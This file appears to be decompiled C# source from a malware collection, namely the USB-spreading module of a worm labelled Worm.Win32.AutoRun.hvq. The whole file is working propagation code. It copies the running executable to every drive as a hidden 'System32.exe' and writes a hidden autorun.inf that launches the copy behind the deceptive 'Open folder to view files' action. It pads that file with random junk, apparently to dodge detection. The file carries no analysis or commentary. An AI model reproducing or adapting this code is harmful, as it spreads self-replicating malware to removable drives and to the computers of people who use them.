MalwareSourceCode/MSIL/Worm/Win32/A/Worm.Win32.AutoRun.hvq-b4e08d063731bcd4e24e51e4eaa0b9d4f13fad74fdaaefae78fc5583932f35af/usb.cs
2022-08-18 06:28:56 -05:00

68 lines
2.9 KiB
C#

// Decompiled with JetBrains decompiler
// Type: usb
// Assembly: Stub, Version=2.0.2.0, Culture=neutral, PublicKeyToken=null
// MVID: 2ADEE861-B489-4B94-AFAF-878A34E8554C
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Worm.Win32.AutoRun.hvq-b4e08d063731bcd4e24e51e4eaa0b9d4f13fad74fdaaefae78fc5583932f35af.exe
using Microsoft.VisualBasic.CompilerServices;
using My;
using System;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
[StandardModule]
internal sealed class usb
{
[DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
private static extern void Sleep(long dwMilliseconds);
public static void Usb1()
{
int num;
do
{
checked { ++num; }
try
{
string programFiles = MyProject.Computer.FileSystem.SpecialDirectories.ProgramFiles;
string[] logicalDrives = Directory.GetLogicalDrives();
int index = 0;
while (index < logicalDrives.Length)
{
string str = logicalDrives[index];
if (!File.Exists(str + "System32.exe"))
File.Copy(Assembly.GetExecutingAssembly().Location, str + "System32.exe");
StreamWriter streamWriter = new StreamWriter(str + "autorun.inf");
streamWriter.WriteLine(";" + Pass.RandomPassword.Generate(200, 400));
streamWriter.WriteLine(";" + Pass.RandomPassword.Generate(200, 400));
streamWriter.WriteLine("[autorun];" + Pass.RandomPassword.Generate(200, 400));
streamWriter.WriteLine(";" + Pass.RandomPassword.Generate(200, 400));
streamWriter.WriteLine(";" + Pass.RandomPassword.Generate(200, 400));
streamWriter.WriteLine("open=System32.exe;" + Pass.RandomPassword.Generate(200, 400));
streamWriter.WriteLine(";" + Pass.RandomPassword.Generate(200, 400));
streamWriter.WriteLine(";" + Pass.RandomPassword.Generate(200, 400));
streamWriter.WriteLine("shellexecute=System32.exe;" + Pass.RandomPassword.Generate(200, 400));
streamWriter.WriteLine(";" + Pass.RandomPassword.Generate(200, 400));
streamWriter.WriteLine(";" + Pass.RandomPassword.Generate(200, 400));
streamWriter.WriteLine("action=Open folder to view files;" + Pass.RandomPassword.Generate(200, 400));
streamWriter.WriteLine(";" + Pass.RandomPassword.Generate(200, 400));
streamWriter.WriteLine(";" + Pass.RandomPassword.Generate(200, 400));
streamWriter.WriteLine("icon=%SystemRoot%\\system32\\SHELL32.dll,4;" + Pass.RandomPassword.Generate(200, 400));
streamWriter.Close();
File.SetAttributes(str + "autorun.inf", FileAttributes.Hidden);
File.SetAttributes(str + "System32.exe", FileAttributes.Hidden);
checked { ++index; }
}
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
usb.Sleep(120000L);
}
while (num != 10);
}
}